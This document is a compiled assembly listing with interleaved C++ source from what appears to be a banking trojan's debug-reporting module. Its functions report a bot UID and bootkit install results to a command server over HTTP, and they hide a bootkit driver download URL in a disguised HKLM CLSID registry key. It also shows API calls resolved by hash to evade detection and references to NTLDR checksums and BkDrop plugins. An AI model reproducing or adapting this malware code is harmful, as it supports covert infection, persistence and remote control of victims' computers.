  000f2	e8 00 00 00 00	 call	 ?DebugReportFreeSettings@@YAXPAUDebugReportSettings@@@Z ; DebugReportFreeSettings
  000f7	83 c4 34	 add	 esp, 52			; 00000034H
; 784  : }
  000fa	8d 4d e8	 lea	 ecx, DWORD PTR _BotUid$[ebp]
  000fd	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
  00102	5f		 pop	 edi
$LN3@DebugRepor@12:
  00103	5e		 pop	 esi
  00104	5b		 pop	 ebx
  00105	c9		 leave
  00106	c3		 ret	 0
?DebugReportStep1@@YAXXZ ENDP				; DebugReportStep1
_TEXT	ENDS
PUBLIC	?DebugReportStep2@@YAXK@Z			; DebugReportStep2
; Function compile flags: /Ogspy
;	COMDAT ?DebugReportStep2@@YAXK@Z
_TEXT	SEGMENT
_value$ = -72						; size = 50
_BotUid$ = -20						; size = 8
$T93200 = -12						; size = 8
_Params$ = -8						; size = 4
_URL$ = -4						; size = 4
_BkInstallResult$ = 8					; size = 4
?DebugReportStep2@@YAXK@Z PROC				; DebugReportStep2, COMDAT
; 787  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	83 ec 48	 sub	 esp, 72			; 00000048H
  00006	53		 push	 ebx
  00007	56		 push	 esi
; 788  : 	CHAR value[50];
; 789  : 
; 790  : 	DebugReportSettings* settings = DebugReportGetSettings();
  00008	e8 00 00 00 00	 call	 ?DebugReportGetSettings@@YAPAUDebugReportSettings@@XZ ; DebugReportGetSettings
  0000d	8b f0		 mov	 esi, eax
; 791  : 	DBGRPTDBG("GetDriverUrl",
; 792  : 		"Started with settings: Enabled='%d' StatPrefix='%s' StatUrl='%s'",
; 793  : 		settings->Enabled, settings->StatPrefix, settings->StatUrl
; 794  : 		);
; 795  : 
; 796  : 	if (!settings->Enabled) return;
  0000f	33 db		 xor	 ebx, ebx
  00011	38 1e		 cmp	 BYTE PTR [esi], bl
  00013	0f 84 df 00 00
	00		 je	 $LN2@DebugRepor@13
  00019	57		 push	 edi
; 797  : 	string BotUid = GenerateUidAsString(settings->StatPrefix);
  0001a	ff 76 04	 push	 DWORD PTR [esi+4]
  0001d	8d 4d f4	 lea	 ecx, DWORD PTR $T93200[ebp]
  00020	e8 00 00 00 00	 call	 ??0?$TString@D@@QAE@PBD@Z ; TString<char>::TString<char>
  00025	8d 45 f4	 lea	 eax, DWORD PTR $T93200[ebp]
  00028	50		 push	 eax
  00029	8d 45 ec	 lea	 eax, DWORD PTR _BotUid$[ebp]
  0002c	50		 push	 eax
  0002d	e8 00 00 00 00	 call	 ?GenerateUidAsString@@YA?AV?$TString@D@@ABV1@@Z ; GenerateUidAsString
  00032	59		 pop	 ecx
  00033	59		 pop	 ecx
  00034	8d 4d f4	 lea	 ecx, DWORD PTR $T93200[ebp]
  00037	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
; 798  : 
; 799  : 	typedef int ( WINAPI *fwsprintfA)( PCHAR lpOut, PCHAR lpFmt, ... );
; 800  : 	fwsprintfA _pwsprintfA = (fwsprintfA)GetProcAddressEx( NULL, 3, 0xEA3AF0D7 );
  0003c	68 d7 f0 3a ea	 push	 -365236009		; ea3af0d7H
  00041	6a 03		 push	 3
  00043	53		 push	 ebx
  00044	e8 00 00 00 00	 call	 ?GetProcAddressEx@@YAPAXPADKK@Z ; GetProcAddressEx
; 801  : 
; 802  : 	m_memset(value, 0, sizeof(value));
  00049	6a 32		 push	 50			; 00000032H
  0004b	8b f8		 mov	 edi, eax
  0004d	8d 45 b8	 lea	 eax, DWORD PTR _value$[ebp]
  00050	53		 push	 ebx
  00051	50		 push	 eax
  00052	e8 00 00 00 00	 call	 ?m_memset@@YAXPBXEI@Z	; m_memset
; 803  : 
; 804  : 	_pwsprintfA(value, "%u", BkInstallResult);
  00057	ff 75 08	 push	 DWORD PTR _BkInstallResult$[ebp]
  0005a	8d 45 b8	 lea	 eax, DWORD PTR _value$[ebp]
  0005d	68 00 00 00 00	 push	 OFFSET ??_C@_02GMHACPFF@?$CFu?$AA@
  00062	50		 push	 eax
  00063	ff d7		 call	 edi
; 805  : 
; 806  : 	PStrings Fields = Strings::Create();
  00065	e8 00 00 00 00	 call	 ?Create@Strings@@YAPAXXZ ; Strings::Create
; 807  : 	AddURLParam(Fields, "cmd", "bkinstall");
  0006a	53		 push	 ebx
  0006b	68 00 00 00 00	 push	 OFFSET ??_C@_09IJIHGPHM@bkinstall?$AA@
  00070	8b f8		 mov	 edi, eax
  00072	68 00 00 00 00	 push	 OFFSET ??_C@_03LGLGIONO@cmd?$AA@
  00077	57		 push	 edi
  00078	e8 00 00 00 00	 call	 ?AddURLParam@@YAXPAXPAD1K@Z ; AddURLParam
; 808  : 	AddURLParam(Fields, "uid", BotUid.t_str());
  0007d	8b 45 f0	 mov	 eax, DWORD PTR _BotUid$[ebp+4]
  00080	83 c4 34	 add	 esp, 52			; 00000034H
  00083	3b c3		 cmp	 eax, ebx
  00085	75 05		 jne	 SHORT $LN9@DebugRepor@13
  00087	b8 00 00 00 00	 mov	 eax, OFFSET ??_C@_11LOCGONAA@?$AA?$AA@
$LN9@DebugRepor@13:
  0008c	53		 push	 ebx
  0008d	50		 push	 eax
  0008e	68 00 00 00 00	 push	 OFFSET ??_C@_03MEMNCOEB@uid?$AA@
  00093	57		 push	 edi
  00094	e8 00 00 00 00	 call	 ?AddURLParam@@YAXPAXPAD1K@Z ; AddURLParam
; 809  : 	AddURLParam(Fields, "val", value);
  00099	53		 push	 ebx
  0009a	8d 45 b8	 lea	 eax, DWORD PTR _value$[ebp]
  0009d	50		 push	 eax
  0009e	68 00 00 00 00	 push	 OFFSET ??_C@_03BALCFKBP@val?$AA@
  000a3	57		 push	 edi
  000a4	e8 00 00 00 00	 call	 ?AddURLParam@@YAXPAXPAD1K@Z ; AddURLParam
; 810  : 
; 811  : 	PCHAR Params = Strings::GetText(Fields, "&");
  000a9	68 00 00 00 00	 push	 OFFSET ??_C@_01HNPIGOCE@?$CG?$AA@
  000ae	57		 push	 edi
  000af	e8 00 00 00 00	 call	 ?GetText@Strings@@YAPADPAXPAD@Z ; Strings::GetText
; 812  : 	PCHAR URL = STR::New(2, settings->StatUrl, Params);
  000b4	50		 push	 eax
  000b5	ff 76 08	 push	 DWORD PTR [esi+8]
  000b8	89 45 f8	 mov	 DWORD PTR _Params$[ebp], eax
  000bb	6a 02		 push	 2
  000bd	e8 00 00 00 00	 call	 ?New@STR@@YAPADKPADZZ	; STR::New
; 813  : 	
; 814  : 	PP_DPRINTF("DebugReportStep2: sending url='%s'", URL);
; 815  : 
; 816  : 	HTTP::Get(URL, NULL, NULL);
  000c2	53		 push	 ebx
  000c3	53		 push	 ebx
  000c4	50		 push	 eax
  000c5	89 45 fc	 mov	 DWORD PTR _URL$[ebp], eax
  000c8	e8 00 00 00 00	 call	 ?Get@HTTP@@YA_NPADPAPADPAUTHTTPResponseRec@@@Z ; HTTP::Get
  000cd	83 c4 40	 add	 esp, 64			; 00000040H
; 817  : 
; 818  : 	STR::Free(URL);
  000d0	ff 75 fc	 push	 DWORD PTR _URL$[ebp]
  000d3	e8 00 00 00 00	 call	 ?Free@STR@@YAXPAD@Z	; STR::Free
; 819  : 	STR::Free(Params);
  000d8	ff 75 f8	 push	 DWORD PTR _Params$[ebp]
  000db	e8 00 00 00 00	 call	 ?Free@STR@@YAXPAD@Z	; STR::Free
; 820  : 	Strings::Free(Fields);
  000e0	57		 push	 edi
  000e1	e8 00 00 00 00	 call	 ?Free@Strings@@YAXPAX@Z	; Strings::Free
; 821  : 	DebugReportFreeSettings(settings);
  000e6	56		 push	 esi
  000e7	e8 00 00 00 00	 call	 ?DebugReportFreeSettings@@YAXPAUDebugReportSettings@@@Z ; DebugReportFreeSettings
  000ec	83 c4 10	 add	 esp, 16			; 00000010H
; 822  : }
  000ef	8d 4d ec	 lea	 ecx, DWORD PTR _BotUid$[ebp]
  000f2	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
  000f7	5f		 pop	 edi
$LN2@DebugRepor@13:
  000f8	5e		 pop	 esi
  000f9	5b		 pop	 ebx
  000fa	c9		 leave
  000fb	c3		 ret	 0
?DebugReportStep2@@YAXK@Z ENDP				; DebugReportStep2
_TEXT	ENDS
PUBLIC	??_C@_15HCBMMKJC@?$AAI?$AAD?$AA?$AA@		; `string'
PUBLIC	??_C@_1HM@EDCMPNEG@?$AAS?$AAO?$AAF?$AAT?$AAW?$AAA?$AAR?$AAE?$AA?2?$AAC?$AAl?$AAa?$AAs?$AAs?$AAe?$AAs?$AA?2?$AAC?$AAL?$AAS?$AAI?$AAD?$AA?2?$AA?$HL?$AA8?$AAC?$AAB?$AA0?$AAA?$AA4?$AA1?$AA3@ ; `string'
PUBLIC	?DebugReportSaveUrlForBootkitDriver@@YA_NXZ	; DebugReportSaveUrlForBootkitDriver
;	COMDAT ??_C@_15HCBMMKJC@?$AAI?$AAD?$AA?$AA@
; File e:\projects\progs\petrosjan\bjwj\source\core\dbgtemplates.h
CONST	SEGMENT
??_C@_15HCBMMKJC@?$AAI?$AAD?$AA?$AA@ DB 'I', 00H, 'D', 00H, 00H, 00H ; `string'
CONST	ENDS
;	COMDAT ??_C@_1HM@EDCMPNEG@?$AAS?$AAO?$AAF?$AAT?$AAW?$AAA?$AAR?$AAE?$AA?2?$AAC?$AAl?$AAa?$AAs?$AAs?$AAe?$AAs?$AA?2?$AAC?$AAL?$AAS?$AAI?$AAD?$AA?2?$AA?$HL?$AA8?$AAC?$AAB?$AA0?$AAA?$AA4?$AA1?$AA3@
CONST	SEGMENT
??_C@_1HM@EDCMPNEG@?$AAS?$AAO?$AAF?$AAT?$AAW?$AAA?$AAR?$AAE?$AA?2?$AAC?$AAl?$AAa?$AAs?$AAs?$AAe?$AAs?$AA?2?$AAC?$AAL?$AAS?$AAI?$AAD?$AA?2?$AA?$HL?$AA8?$AAC?$AAB?$AA0?$AAA?$AA4?$AA1?$AA3@ DB 'S'
	DB	00H, 'O', 00H, 'F', 00H, 'T', 00H, 'W', 00H, 'A', 00H, 'R', 00H
	DB	'E', 00H, '\', 00H, 'C', 00H, 'l', 00H, 'a', 00H, 's', 00H, 's'
	DB	00H, 'e', 00H, 's', 00H, '\', 00H, 'C', 00H, 'L', 00H, 'S', 00H
	DB	'I', 00H, 'D', 00H, '\', 00H, '{', 00H, '8', 00H, 'C', 00H, 'B'
	DB	00H, '0', 00H, 'A', 00H, '4', 00H, '1', 00H, '3', 00H, '-', 00H
	DB	'0', 00H, '5', 00H, '8', 00H, '5', 00H, '-', 00H, '4', 00H, '8'
	DB	00H, '8', 00H, '6', 00H, '-', 00H, 'B', 00H, '1', 00H, '1', 00H
	DB	'0', 00H, '-', 00H, '0', 00H, '0', 00H, '4', 00H, 'B', 00H, '3'
	DB	00H, 'B', 00H, 'C', 00H, 'A', 00H, 'A', 00H, '9', 00H, 'A', 00H
	DB	'8', 00H, '}', 00H, 00H, 00H			; `string'
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\common\dbgrpt.cpp
CONST	ENDS
;	COMDAT ?DebugReportSaveUrlForBootkitDriver@@YA_NXZ
_TEXT	SEGMENT
_url$ = -632						; size = 500
_key_path$ = -132					; size = 124
_opt$ = -8						; size = 4
_key$ = -4						; size = 4
?DebugReportSaveUrlForBootkitDriver@@YA_NXZ PROC	; DebugReportSaveUrlForBootkitDriver, COMDAT
; 825  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	81 ec 78 02 00
	00		 sub	 esp, 632		; 00000278H
  00009	56		 push	 esi
  0000a	57		 push	 edi
; 826  : 	WCHAR  key_path[] = L"SOFTWARE\\Classes\\CLSID\\{8CB0A413-0585-4886-B110-004B3BCAA9A8}";
  0000b	6a 1f		 push	 31			; 0000001fH
  0000d	59		 pop	 ecx
  0000e	be 00 00 00 00	 mov	 esi, OFFSET ??_C@_1HM@EDCMPNEG@?$AAS?$AAO?$AAF?$AAT?$AAW?$AAA?$AAR?$AAE?$AA?2?$AAC?$AAl?$AAa?$AAs?$AAs?$AAe?$AAs?$AA?2?$AAC?$AAL?$AAS?$AAI?$AAD?$AA?2?$AA?$HL?$AA8?$AAC?$AAB?$AA0?$AAA?$AA4?$AA1?$AA3@
  00013	8d bd 7c ff ff
	ff		 lea	 edi, DWORD PTR _key_path$[ebp]
  00019	f3 a5		 rep movsd
; 827  : 	CHAR   url[500];
; 828  : 	DWORD  url_length = 0;
; 829  : 	HKEY   key;
; 830  : 	DWORD  opt = 0;
; 831  : 
; 832  : 	if (!GetDriverUrl(url, sizeof(url))) return false;
  0001b	8d 85 88 fd ff
	ff		 lea	 eax, DWORD PTR _url$[ebp]
  00021	68 f4 01 00 00	 push	 500			; 000001f4H
  00026	33 f6		 xor	 esi, esi
  00028	50		 push	 eax
  00029	89 75 f8	 mov	 DWORD PTR _opt$[ebp], esi
  0002c	e8 00 00 00 00	 call	 ?GetDriverUrl@@YA_NPADK@Z ; GetDriverUrl
  00031	59		 pop	 ecx
  00032	59		 pop	 ecx
  00033	84 c0		 test	 al, al
  00035	75 04		 jne	 SHORT $LN3@DebugRepor@14
$LN14@DebugRepor@14:
  00037	32 c0		 xor	 al, al
  00039	eb 6e		 jmp	 SHORT $LN4@DebugRepor@14
$LN3@DebugRepor@14:
; 833  : 
; 834  : 	DWORD key_created = (DWORD)pRegCreateKeyExW(HKEY_LOCAL_MACHINE, key_path, 0, NULL, 0, KEY_WRITE, NULL, &key, &opt);
  0003b	68 ed 00 00 00	 push	 237			; 000000edH
  00040	68 f0 97 a0 90	 push	 -1868523536		; 90a097f0H
  00045	6a 02		 push	 2
  00047	56		 push	 esi
  00048	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  0004d	83 c4 10	 add	 esp, 16			; 00000010H
  00050	8d 4d f8	 lea	 ecx, DWORD PTR _opt$[ebp]
  00053	51		 push	 ecx
  00054	8d 4d fc	 lea	 ecx, DWORD PTR _key$[ebp]
  00057	51		 push	 ecx
  00058	56		 push	 esi
  00059	68 06 00 02 00	 push	 131078			; 00020006H
  0005e	56		 push	 esi
  0005f	56		 push	 esi
  00060	56		 push	 esi
  00061	8d 8d 7c ff ff
	ff		 lea	 ecx, DWORD PTR _key_path$[ebp]
  00067	51		 push	 ecx
  00068	68 02 00 00 80	 push	 -2147483646		; 80000002H
  0006d	ff d0		 call	 eax
; 835  : 	DBGRPTDBG("DebugReportSaveUrlForBootkitDriver", "RegCreateKeyExW return 0x%X", key_created);
; 836  : 	if (key_created != ERROR_SUCCESS) return false;
  0006f	85 c0		 test	 eax, eax
  00071	75 c4		 jne	 SHORT $LN14@DebugRepor@14
; 837  : 
; 838  : 	// 
; 839  : 	DWORD url_value_set = (DWORD)pRegSetValueExW(key, L"ID", 0, REG_BINARY, (const BYTE*)&url[0], 
; 840  : 		(DWORD)plstrlenA(url));
  00073	8d 85 88 fd ff
	ff		 lea	 eax, DWORD PTR _url$[ebp]
  00079	50		 push	 eax
  0007a	e8 00 00 00 00	 call	 ??$pushargEx@$00$0CNEALIOG@$0IC@PAD@@YAPAXPAD@Z ; pushargEx<1,759216358,130,char *>
  0007f	50		 push	 eax
  00080	8d 85 88 fd ff
	ff		 lea	 eax, DWORD PTR _url$[ebp]
  00086	50		 push	 eax
  00087	6a 03		 push	 3
  00089	56		 push	 esi
  0008a	68 00 00 00 00	 push	 OFFSET ??_C@_15HCBMMKJC@?$AAI?$AAD?$AA?$AA@
  0008f	ff 75 fc	 push	 DWORD PTR _key$[ebp]
  00092	e8 00 00 00 00	 call	 ??$pushargEx@$01$0DOEAAPMA@$0NM@PAUHKEY__@@PB_WHHPBEK@@YAPAXPAUHKEY__@@PB_WHHPBEK@Z ; pushargEx<2,1044385728,220,HKEY__ *,wchar_t const *,int,int,unsigned char const *,unsigned long>
  00097	83 c4 1c	 add	 esp, 28			; 0000001cH
; 841  : 	DBGRPTDBG("DebugReportSaveUrlForBootkitDriver", "RegSetValueExW return 0x%X", url_value_set);
; 842  : 	if (url_value_set != ERROR_SUCCESS) return false;
  0009a	85 c0		 test	 eax, eax
  0009c	75 99		 jne	 SHORT $LN14@DebugRepor@14
; 843  : 
; 844  : 	DBGRPTDBG("DebugReportSaveUrlForBootkitDriver", "Url key set (url=%s).", url);
; 845  : 
; 846  : 	pRegCloseKey(key);
  0009e	ff 75 fc	 push	 DWORD PTR _key$[ebp]
  000a1	e8 00 00 00 00	 call	 ??$pushargEx@$01$0NLDFFFDE@$0NI@PAUHKEY__@@@@YAPAXPAUHKEY__@@@Z ; pushargEx<2,3677705524,216,HKEY__ *>
  000a6	59		 pop	 ecx
; 847  : 	return true;
  000a7	b0 01		 mov	 al, 1
$LN4@DebugRepor@14:
  000a9	5f		 pop	 edi
  000aa	5e		 pop	 esi
; 848  : }
  000ab	c9		 leave
  000ac	c3		 ret	 0
?DebugReportSaveUrlForBootkitDriver@@YA_NXZ ENDP	; DebugReportSaveUrlForBootkitDriver
; Function compile flags: /Ogspy
_TEXT	ENDS
;	COMDAT ??_G?$TString@D@@UAEPAXI@Z
_TEXT	SEGMENT
___flags$ = 8						; size = 4
??_G?$TString@D@@UAEPAXI@Z PROC				; TString<char>::`scalar deleting destructor', COMDAT
; _this$ = ecx
  00000	56		 push	 esi
  00001	8b f1		 mov	 esi, ecx
  00003	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
  00008	f6 44 24 08 01	 test	 BYTE PTR ___flags$[esp], 1
  0000d	74 07		 je	 SHORT $LN1@scalar@2
  0000f	56		 push	 esi
  00010	e8 00 00 00 00	 call	 ??3TBotObject@@SAXPAX@Z	; TBotObject::operator delete
  00015	59		 pop	 ecx
$LN1@scalar@2:
  00016	8b c6		 mov	 eax, esi
  00018	5e		 pop	 esi
  00019	c2 04 00	 ret	 4
??_G?$TString@D@@UAEPAXI@Z ENDP				; TString<char>::`scalar deleting destructor'
_TEXT	ENDS
PUBLIC	?DebugReportInit@@YAXXZ				; DebugReportInit
EXTRN	?StartThread@@YGPAXPAX0@Z:PROC			; StartThread
; Function compile flags: /Ogspy
;	COMDAT ?DebugReportInit@@YAXXZ
_TEXT	SEGMENT
?DebugReportInit@@YAXXZ PROC				; DebugReportInit, COMDAT
; 43   : 	DBGRPTDBG("DebugReportInit", "Start initialize debug reporting (DbgRptSettings=0x%X).", 
; 44   : 		DbgRptSettings);
; 45   : 
; 46   : 	pInitializeCriticalSection(&DbgRptCs);
  00000	68 00 00 00 00	 push	 OFFSET _DbgRptCs
  00005	e8 00 00 00 00	 call	 ??$pushargEx@$00$0NKIBLMFI@$0IP@PAU_RTL_CRITICAL_SECTION@@@@YAPAXPAU_RTL_CRITICAL_SECTION@@@Z ; pushargEx<1,3665935448,143,_RTL_CRITICAL_SECTION *>
  0000a	59		 pop	 ecx
; 47   : 	
; 48   : 	DbgRptSettingDefault.Enabled = false;
; 49   : 	DbgRptSettingDefault.StatPrefix = "";
  0000b	b8 00 00 00 00	 mov	 eax, OFFSET ??_C@_00CNPNBAHC@?$AA@
; 50   : 	DbgRptSettingDefault.StatUrl = "";
; 51   : 	
; 52   : 	DbgRptSettings = &DbgRptSettingDefault;
; 53   : 
; 54   : 	// 
; 55   : 	// 
 (explorer, winlogon 
; 56   : 	StartThread(DebugReportUpdateSettingsThread, NULL);
  00010	6a 00		 push	 0
  00012	68 00 00 00 00	 push	 OFFSET ?DebugReportUpdateSettingsThread@@YAXPAX@Z ; DebugReportUpdateSettingsThread
  00017	c6 05 00 00 00
	00 00		 mov	 BYTE PTR _DbgRptSettingDefault, 0
  0001e	a3 04 00 00 00	 mov	 DWORD PTR _DbgRptSettingDefault+4, eax
  00023	a3 08 00 00 00	 mov	 DWORD PTR _DbgRptSettingDefault+8, eax
  00028	c7 05 00 00 00
	00 00 00 00 00	 mov	 DWORD PTR _DbgRptSettings, OFFSET _DbgRptSettingDefault
  00032	e8 00 00 00 00	 call	 ?StartThread@@YGPAXPAX0@Z ; StartThread
; 57   : }
  00037	c3		 ret	 0
?DebugReportInit@@YAXXZ ENDP				; DebugReportInit
_TEXT	ENDS
PUBLIC	??_C@_08HDFPIGCN@100_trtr?$AA@			; `string'
PUBLIC	??_C@_0M@EKCCLENP@BkDrop?4plug?$AA@		; `string'
PUBLIC	??_C@_0DF@EEGOKPKI@BkDrop?4plug?5bktestt?5http?3?1?1test?4@ ; `string'
PUBLIC	??_C@_0BF@EIPNLNPN@param1?5param2?5param3?$AA@	; `string'
PUBLIC	?DebugReportRunTests@@YAXXZ			; DebugReportRunTests
;	COMDAT ??_C@_08HDFPIGCN@100_trtr?$AA@
; File e:\projects\progs\petrosjan\bjwj\source\core\dbgtemplates.h
CONST	SEGMENT
??_C@_08HDFPIGCN@100_trtr?$AA@ DB '100_trtr', 00H	; `string'
CONST	ENDS
;	COMDAT ??_C@_0M@EKCCLENP@BkDrop?4plug?$AA@
CONST	SEGMENT
??_C@_0M@EKCCLENP@BkDrop?4plug?$AA@ DB 'BkDrop.plug', 00H ; `string'
CONST	ENDS
;	COMDAT ??_C@_0DF@EEGOKPKI@BkDrop?4plug?5bktestt?5http?3?1?1test?4@
CONST	SEGMENT
??_C@_0DF@EEGOKPKI@BkDrop?4plug?5bktestt?5http?3?1?1test?4@ DB 'BkDrop.pl'
	DB	'ug bktestt http://test.orh/gettes/tetst.php', 00H ; `string'
CONST	ENDS
;	COMDAT ??_C@_0BF@EIPNLNPN@param1?5param2?5param3?$AA@
CONST	SEGMENT
??_C@_0BF@EIPNLNPN@param1?5param2?5param3?$AA@ DB 'param1 param2 param3', 00H ; `string'
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\common\dbgrpt.cpp
CONST	ENDS
;	COMDAT ?DebugReportRunTests@@YAXXZ
_TEXT	SEGMENT
_params$ = -8						; size = 8
?DebugReportRunTests@@YAXXZ PROC			; DebugReportRunTests, COMDAT
; 318  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	51		 push	 ecx
  00004	51		 push	 ecx
  00005	56		 push	 esi
; 319  : 	DebugReportInit();
  00006	e8 00 00 00 00	 call	 ?DebugReportInit@@YAXXZ	; DebugReportInit
; 320  : 
; 321  : 	// 
; 322  : 	DebugReportLoadSettings();
  0000b	e8 00 00 00 00	 call	 ?DebugReportLoadSettings@@YAXXZ ; DebugReportLoadSettings
; 323  : 
; 324  : 	// 
; 325  : 	DebugReportSaveSettings("param1 param2 param3");
  00010	68 00 00 00 00	 push	 OFFSET ??_C@_0BF@EIPNLNPN@param1?5param2?5param3?$AA@
  00015	e8 00 00 00 00	 call	 ?DebugReportSaveSettings@@YAXPBD@Z ; DebugReportSaveSettings
  0001a	59		 pop	 ecx
; 326  : 
; 327  : 	const char* params[] = 
; 328  : 	{
; 329  : 		"BkDrop.plug bktestt http://test.orh/gettes/tetst.php",
  0001b	c7 45 f8 00 00
	00 00		 mov	 DWORD PTR _params$[ebp], OFFSET ??_C@_0DF@EEGOKPKI@BkDrop?4plug?5bktestt?5http?3?1?1test?4@
; 330  : 		"BkDrop.plug"
; 331  : 	};
  00022	c7 45 fc 00 00
	00 00		 mov	 DWORD PTR _params$[ebp+4], OFFSET ??_C@_0M@EKCCLENP@BkDrop?4plug?$AA@
; 332  : 
; 333  : 	for (DWORD i = 0; i < ARRAYSIZE(params); i++)
  00029	33 f6		 xor	 esi, esi
$LL3@DebugRepor@15:
; 334  : 	{
; 335  : 		// 
; 336  : 		DebugReportSaveSettings(params[i]);
  0002b	ff 74 b5 f8	 push	 DWORD PTR _params$[ebp+esi*4]
  0002f	e8 00 00 00 00	 call	 ?DebugReportSaveSettings@@YAXPBD@Z ; DebugReportSaveSettings
; 337  : 
; 338  : 		// 
; 339  : 		DebugReportSettings* settings = DebugReportGetSettings();
  00034	e8 00 00 00 00	 call	 ?DebugReportGetSettings@@YAPAUDebugReportSettings@@XZ ; DebugReportGetSettings
; 340  : 
; 341  : 		DBGRPTDBG("DebugReportTest",
; 342  : 			"Settings: Enabled='%d' StatPrefix='%s' StatUrl='%s'",
; 343  : 			settings->Enabled, settings->StatPrefix, settings->StatUrl
; 344  : 			);
; 345  : 
; 346  : 		DebugReportFreeSettings(settings);
  00039	50		 push	 eax
  0003a	e8 00 00 00 00	 call	 ?DebugReportFreeSettings@@YAXPAUDebugReportSettings@@@Z ; DebugReportFreeSettings
; 347  : 
; 348  : 		DBGRPTDBG("DebugReportTest","---------");
; 349  : 		DebugReportStepByName("100_trtr");
  0003f	68 00 00 00 00	 push	 OFFSET ??_C@_08HDFPIGCN@100_trtr?$AA@
  00044	e8 00 00 00 00	 call	 ?DebugReportStepByName@@YAXPBD@Z ; DebugReportStepByName
; 350  : 		
; 351  : 		DBGRPTDBG("DebugReportTest","---------");
; 352  : 		DebugReportSystem();
  00049	e8 00 00 00 00	 call	 ?DebugReportSystem@@YAXXZ ; DebugReportSystem
; 353  : 		
; 354  : 		DBGRPTDBG("DebugReportTest","---------");
; 355  : 		DebugReportBkInstallCode(0);
  0004e	6a 00		 push	 0
  00050	e8 00 00 00 00	 call	 ?DebugReportBkInstallCode@@YAXK@Z ; DebugReportBkInstallCode
  00055	83 c4 10	 add	 esp, 16			; 00000010H
; 356  : 		
; 357  : 		DBGRPTDBG("DebugReportTest","---------");
; 358  : 		DebugReportUpdateNtldrCheckSum();
  00058	e8 00 00 00 00	 call	 ?DebugReportUpdateNtldrCheckSum@@YAXXZ ; DebugReportUpdateNtldrCheckSum
; 359  : 		
; 360  : 		DBGRPTDBG("DebugReportTest","---------");
; 361  : 		DebugReportCreateConfigReportAndSend();
  0005d	e8 00 00 00 00	 call	 ?DebugReportCreateConfigReportAndSend@@YAXXZ ; DebugReportCreateConfigReportAndSend
; 362  : 		
; 363  : 		DBGRPTDBG("DebugReportTest","---------");
; 364  : 		DebugReportSaveUrlForBootkitDriver();
  00062	e8 00 00 00 00	 call	 ?DebugReportSaveUrlForBootkitDriver@@YA_NXZ ; DebugReportSaveUrlForBootkitDriver
  00067	46		 inc	 esi
  00068	83 fe 02	 cmp	 esi, 2
  0006b	72 be		 jb	 SHORT $LL3@DebugRepor@15
  0006d	5e		 pop	 esi
; 365  : 	}
; 366  : }
  0006e	c9		 leave
  0006f	c3		 ret	 0
?DebugReportRunTests@@YAXXZ ENDP			; DebugReportRunTests
_TEXT	ENDS